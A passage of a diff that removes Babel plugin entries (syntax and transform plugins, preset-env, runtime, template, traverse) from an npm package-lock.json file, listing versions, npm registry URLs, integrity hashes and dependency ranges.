"node_modules/@babel/plugin-syntax-optional-catch-binding": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", - "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-optional-chaining": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", - "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-top-level-await": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.10.4.tgz", - "integrity": "sha512-ni1brg4lXEmWyafKr0ccFWkJG0CeMt4WV1oyeBW6EFObF4oOHclbkj5cARxAPQyAQ2UTuplJyK4nfkXIMMFvsQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-arrow-functions": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.10.4.tgz", - "integrity": "sha512-9J/oD1jV0ZCBcgnoFWFq1vJd4msoKb/TCpGNFyyLt0zABdcvgK3aYikZ8HjzB14c26bc7E3Q1yugpwGy2aTPNA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-async-to-generator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.10.4.tgz", - "integrity": "sha512-F6nREOan7J5UXTLsDsZG3DXmZSVofr2tGNwfdrVwkDWHfQckbQXnXSPfD7iO+c/2HGqycwyLST3DnZ16n+cBJQ==", - "dev": true, - "dependencies": { - "@babel/helper-module-imports": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-remap-async-to-generator": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-block-scoped-functions": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.10.4.tgz", - "integrity": "sha512-WzXDarQXYYfjaV1szJvN3AD7rZgZzC1JtjJZ8dMHUyiK8mxPRahynp14zzNjU3VkPqPsO38CzxiWO1c9ARZ8JA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-block-scoping": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.10.5.tgz", - "integrity": "sha512-6Ycw3hjpQti0qssQcA6AMSFDHeNJ++R6dIMnpRqUjFeBBTmTDPa8zgF90OVfTvAo11mXZTlVUViY1g8ffrURLg==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-classes": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.10.4.tgz", - "integrity": "sha512-2oZ9qLjt161dn1ZE0Ms66xBncQH4In8Sqw1YWgBUZuGVJJS5c0OFZXL6dP2MRHrkU/eKhWg8CzFJhRQl50rQxA==", - "dev": true, - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-define-map": "^7.10.4", - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-optimise-call-expression": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4", - "globals": "^11.1.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-classes/node_modules/globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/plugin-transform-computed-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.10.4.tgz", - "integrity": "sha512-JFwVDXcP/hM/TbyzGq3l/XWGut7p46Z3QvqFMXTfk6/09m7xZHJUN9xHfsv7vqqD4YnfI5ueYdSJtXqqBLyjBw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-destructuring": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.10.4.tgz", - "integrity": "sha512-+WmfvyfsyF603iPa6825mq6Qrb7uLjTOsa3XOFzlYcYDHSS4QmpOWOL0NNBY5qMbvrcf3tq0Cw+v4lxswOBpgA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-dotall-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.10.4.tgz", - "integrity": "sha512-ZEAVvUTCMlMFAbASYSVQoxIbHm2OkG2MseW6bV2JjIygOjdVv8tuxrCTzj1+Rynh7ODb8GivUy7dzEXzEhuPaA==", - "dev": true, - "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-duplicate-keys": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.10.4.tgz", - "integrity": "sha512-GL0/fJnmgMclHiBTTWXNlYjYsA7rDrtsazHG6mglaGSTh0KsrW04qml+Bbz9FL0LcJIRwBWL5ZqlNHKTkU3xAA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-exponentiation-operator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.10.4.tgz", - "integrity": "sha512-S5HgLVgkBcRdyQAHbKj+7KyuWx8C6t5oETmUuwz1pt3WTWJhsUV0WIIXuVvfXMxl/QQyHKlSCNNtaIamG8fysw==", - "dev": true, - "dependencies": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-for-of": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.10.4.tgz", - "integrity": "sha512-ItdQfAzu9AlEqmusA/65TqJ79eRcgGmpPPFvBnGILXZH975G0LNjP1yjHvGgfuCxqrPPueXOPe+FsvxmxKiHHQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-function-name": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.10.4.tgz", - "integrity": "sha512-OcDCq2y5+E0dVD5MagT5X+yTRbcvFjDI2ZVAottGH6tzqjx/LKpgkUepu3hp/u4tZBzxxpNGwLsAvGBvQ2mJzg==", - "dev": true, - "dependencies": { - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-literals": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.10.4.tgz", - "integrity": "sha512-Xd/dFSTEVuUWnyZiMu76/InZxLTYilOSr1UlHV+p115Z/Le2Fi1KXkJUYz0b42DfndostYlPub3m8ZTQlMaiqQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-member-expression-literals": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.10.4.tgz", - "integrity": "sha512-0bFOvPyAoTBhtcJLr9VcwZqKmSjFml1iVxvPL0ReomGU53CX53HsM4h2SzckNdkQcHox1bpAqzxBI1Y09LlBSw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-modules-amd": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.10.5.tgz", - "integrity": "sha512-elm5uruNio7CTLFItVC/rIzKLfQ17+fX7EVz5W0TMgIHFo1zY0Ozzx+lgwhL4plzl8OzVn6Qasx5DeEFyoNiRw==", - "dev": true, - "dependencies": { - "@babel/helper-module-transforms": "^7.10.5", - "@babel/helper-plugin-utils": "^7.10.4", - "babel-plugin-dynamic-import-node": "^2.3.3" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-modules-commonjs": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.10.4.tgz", - "integrity": "sha512-Xj7Uq5o80HDLlW64rVfDBhao6OX89HKUmb+9vWYaLXBZOma4gA6tw4Ni1O5qVDoZWUV0fxMYA0aYzOawz0l+1w==", - "dev": true, - "dependencies": { - "@babel/helper-module-transforms": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-simple-access": "^7.10.4", - "babel-plugin-dynamic-import-node": "^2.3.3" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-modules-systemjs": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.10.5.tgz", - "integrity": "sha512-f4RLO/OL14/FP1AEbcsWMzpbUz6tssRaeQg11RH1BP/XnPpRoVwgeYViMFacnkaw4k4wjRSjn3ip1Uw9TaXuMw==", - "dev": true, - "dependencies": { - "@babel/helper-hoist-variables": "^7.10.4", - "@babel/helper-module-transforms": "^7.10.5", - "@babel/helper-plugin-utils": "^7.10.4", - "babel-plugin-dynamic-import-node": "^2.3.3" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-modules-umd": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.10.4.tgz", - "integrity": "sha512-mohW5q3uAEt8T45YT7Qc5ws6mWgJAaL/8BfWD9Dodo1A3RKWli8wTS+WiQ/knF+tXlPirW/1/MqzzGfCExKECA==", - "dev": true, - "dependencies": { - "@babel/helper-module-transforms": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.10.4.tgz", - "integrity": "sha512-V6LuOnD31kTkxQPhKiVYzYC/Jgdq53irJC/xBSmqcNcqFGV+PER4l6rU5SH2Vl7bH9mLDHcc0+l9HUOe4RNGKA==", - "dev": true, - "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/plugin-transform-new-target": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.10.4.tgz", - "integrity": "sha512-YXwWUDAH/J6dlfwqlWsztI2Puz1NtUAubXhOPLQ5gjR/qmQ5U96DY4FQO8At33JN4XPBhrjB8I4eMmLROjjLjw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-object-super": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.10.4.tgz", - "integrity": "sha512-5iTw0JkdRdJvr7sY0vHqTpnruUpTea32JHmq/atIWqsnNussbRzjEDyWep8UNztt1B5IusBYg8Irb0bLbiEBCQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-parameters": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.10.5.tgz", - "integrity": "sha512-xPHwUj5RdFV8l1wuYiu5S9fqWGM2DrYc24TMvUiRrPVm+SM3XeqU9BcokQX/kEUe+p2RBwy+yoiR1w/Blq6ubw==", - "dev": true, - "dependencies": { - "@babel/helper-get-function-arity": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-property-literals": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.10.4.tgz", - "integrity": "sha512-ofsAcKiUxQ8TY4sScgsGeR2vJIsfrzqvFb9GvJ5UdXDzl+MyYCaBj/FGzXuv7qE0aJcjWMILny1epqelnFlz8g==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-regenerator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.10.4.tgz", - "integrity": "sha512-3thAHwtor39A7C04XucbMg17RcZ3Qppfxr22wYzZNcVIkPHfpM9J0SO8zuCV6SZa265kxBJSrfKTvDCYqBFXGw==", - "dev": true, - "dependencies": { - "regenerator-transform": "^0.14.2" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-regenerator/node_modules/@babel/runtime": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.5.tgz", - "integrity": "sha512-otddXKhdNn7d0ptoFRHtMLa8LqDxLYwTjB4nYgM1yy5N6gU/MUf8zqyyLltCH3yAVitBzmwK4us+DD0l/MauAg==", - "dev": true, - "dependencies": { - "regenerator-runtime": "^0.13.4" - } - }, - "node_modules/@babel/plugin-transform-regenerator/node_modules/regenerator-runtime": { - "version": "0.13.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", - "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==", - "dev": true - }, - "node_modules/@babel/plugin-transform-regenerator/node_modules/regenerator-transform": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", - "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", - "dev": true, - "dependencies": { - "@babel/runtime": "^7.8.4" - } - }, - "node_modules/@babel/plugin-transform-reserved-words": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.10.4.tgz", - "integrity": "sha512-hGsw1O6Rew1fkFbDImZIEqA8GoidwTAilwCyWqLBM9f+e/u/sQMQu7uX6dyokfOayRuuVfKOW4O7HvaBWM+JlQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-shorthand-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.10.4.tgz", - "integrity": "sha512-AC2K/t7o07KeTIxMoHneyX90v3zkm5cjHJEokrPEAGEy3UCp8sLKfnfOIGdZ194fyN4wfX/zZUWT9trJZ0qc+Q==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-spread": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.10.4.tgz", - "integrity": "sha512-1e/51G/Ni+7uH5gktbWv+eCED9pP8ZpRhZB3jOaI3mmzfvJTWHkuyYTv0Z5PYtyM+Tr2Ccr9kUdQxn60fI5WuQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-sticky-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.10.4.tgz", - "integrity": "sha512-Ddy3QZfIbEV0VYcVtFDCjeE4xwVTJWTmUtorAJkn6u/92Z/nWJNV+mILyqHKrUxXYKA2EoCilgoPePymKL4DvQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-regex": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-template-literals": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.10.5.tgz", - "integrity": "sha512-V/lnPGIb+KT12OQikDvgSuesRX14ck5FfJXt6+tXhdkJ+Vsd0lDCVtF6jcB4rNClYFzaB2jusZ+lNISDk2mMMw==", - "dev": true, - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-typeof-symbol": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.10.4.tgz", - "integrity": "sha512-QqNgYwuuW0y0H+kUE/GWSR45t/ccRhe14Fs/4ZRouNNQsyd4o3PG4OtHiIrepbM2WKUBDAXKCAK/Lk4VhzTaGA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-unicode-escapes": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.10.4.tgz", - "integrity": "sha512-y5XJ9waMti2J+e7ij20e+aH+fho7Wb7W8rNuu72aKRwCHFqQdhkdU2lo3uZ9tQuboEJcUFayXdARhcxLQ3+6Fg==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-unicode-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.10.4.tgz", - "integrity": "sha512-wNfsc4s8N2qnIwpO/WP2ZiSyjfpTamT2C9V9FDH/Ljub9zw6P3SjkXcFmc0RQUt96k2fmIvtla2MMjgTwIAC+A==", - "dev": true, - "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/preset-env": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.10.4.tgz", - "integrity": "sha512-tcmuQ6vupfMZPrLrc38d0sF2OjLT3/bZ0dry5HchNCQbrokoQi4reXqclvkkAT5b+gWc23meVWpve5P/7+w/zw==", - "dev": true, - "dependencies": { - "@babel/compat-data": "^7.10.4", - "@babel/helper-compilation-targets": "^7.10.4", - "@babel/helper-module-imports": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-proposal-async-generator-functions": "^7.10.4", - "@babel/plugin-proposal-class-properties": "^7.10.4", - "@babel/plugin-proposal-dynamic-import": "^7.10.4", - "@babel/plugin-proposal-json-strings": "^7.10.4", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.10.4", - "@babel/plugin-proposal-numeric-separator": "^7.10.4", - "@babel/plugin-proposal-object-rest-spread": "^7.10.4", - "@babel/plugin-proposal-optional-catch-binding": "^7.10.4", - "@babel/plugin-proposal-optional-chaining": "^7.10.4", - "@babel/plugin-proposal-private-methods": "^7.10.4", - "@babel/plugin-proposal-unicode-property-regex": "^7.10.4", - "@babel/plugin-syntax-async-generators": "^7.8.0", - "@babel/plugin-syntax-class-properties": "^7.10.4", - "@babel/plugin-syntax-dynamic-import": "^7.8.0", - "@babel/plugin-syntax-json-strings": "^7.8.0", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0", - "@babel/plugin-syntax-numeric-separator": "^7.10.4", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0", - "@babel/plugin-syntax-optional-chaining": "^7.8.0", - "@babel/plugin-syntax-top-level-await": "^7.10.4", - "@babel/plugin-transform-arrow-functions": "^7.10.4", - "@babel/plugin-transform-async-to-generator": "^7.10.4", - "@babel/plugin-transform-block-scoped-functions": "^7.10.4", - "@babel/plugin-transform-block-scoping": "^7.10.4", - "@babel/plugin-transform-classes": "^7.10.4", - "@babel/plugin-transform-computed-properties": "^7.10.4", - "@babel/plugin-transform-destructuring": "^7.10.4", - "@babel/plugin-transform-dotall-regex": "^7.10.4", - "@babel/plugin-transform-duplicate-keys": "^7.10.4", - "@babel/plugin-transform-exponentiation-operator": "^7.10.4", - "@babel/plugin-transform-for-of": "^7.10.4", - "@babel/plugin-transform-function-name": "^7.10.4", - "@babel/plugin-transform-literals": "^7.10.4", - "@babel/plugin-transform-member-expression-literals": "^7.10.4", - "@babel/plugin-transform-modules-amd": "^7.10.4", - "@babel/plugin-transform-modules-commonjs": "^7.10.4", - "@babel/plugin-transform-modules-systemjs": "^7.10.4", - "@babel/plugin-transform-modules-umd": "^7.10.4", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.10.4", - "@babel/plugin-transform-new-target": "^7.10.4", - "@babel/plugin-transform-object-super": "^7.10.4", - "@babel/plugin-transform-parameters": "^7.10.4", - "@babel/plugin-transform-property-literals": "^7.10.4", - "@babel/plugin-transform-regenerator": "^7.10.4", - "@babel/plugin-transform-reserved-words": "^7.10.4", - "@babel/plugin-transform-shorthand-properties": "^7.10.4", - "@babel/plugin-transform-spread": "^7.10.4", - "@babel/plugin-transform-sticky-regex": "^7.10.4", - "@babel/plugin-transform-template-literals": "^7.10.4", - "@babel/plugin-transform-typeof-symbol": "^7.10.4", - "@babel/plugin-transform-unicode-escapes": "^7.10.4", - "@babel/plugin-transform-unicode-regex": "^7.10.4", - "@babel/preset-modules": "^0.1.3", - "@babel/types": "^7.10.4", - "browserslist": "^4.12.0", - "core-js-compat": "^3.6.2", - "invariant": "^2.2.2", - "levenary": "^1.1.1", - "semver": "^5.5.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/preset-env/node_modules/browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - }, - "funding": { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - } - }, - "node_modules/@babel/preset-env/node_modules/caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "node_modules/@babel/preset-env/node_modules/electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node_modules/@babel/preset-env/node_modules/node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - }, - "node_modules/@babel/preset-modules": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz", - "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.0.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", - "@babel/plugin-transform-dotall-regex": "^7.4.4", - "@babel/types": "^7.4.4", - "esutils": "^2.0.2" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.3.1.tgz", - "integrity": "sha512-7jGW8ppV0ant637pIqAcFfQDDH1orEPGJb8aXfUozuCU3QqX7rX4DA8iwrbPrR1hcH0FTTHz47yQnk+bl5xHQA==", - "dev": true, - "dependencies": { - "regenerator-runtime": "^0.12.0" - } - }, - "node_modules/@babel/runtime/node_modules/regenerator-runtime": { - "version": "0.12.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", - "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==", - "dev": true - }, - "node_modules/@babel/template": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.10.4.tgz", - "integrity": "sha512-ZCjD27cGJFUB6nmCB1Enki3r+L5kJveX9pq1SvAUKoICy6CZ9yD8xO086YXdYhvNjBdnekm4ZnaP5yC8Cs/1tA==", - "dev": true, - "dependencies": { - "@babel/code-frame": "^7.10.4", - "@babel/parser": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/traverse": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.10.5.tgz", - "integrity": "sha512-yc/fyv2gUjPqzTz0WHeRJH2pv7jA9kA7mBX2tXl/x5iOE81uaVPuGPtaYk7wmkx4b67mQ7NqI8rmT2pF47KYKQ==", - "dev": true, - "dependencies": { - "@babel/code-frame": "^7.10.4", - "@babel/generator": "^7.10.5", - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4", - "@babel/parser": "^7.10.5", - "@babel/types": 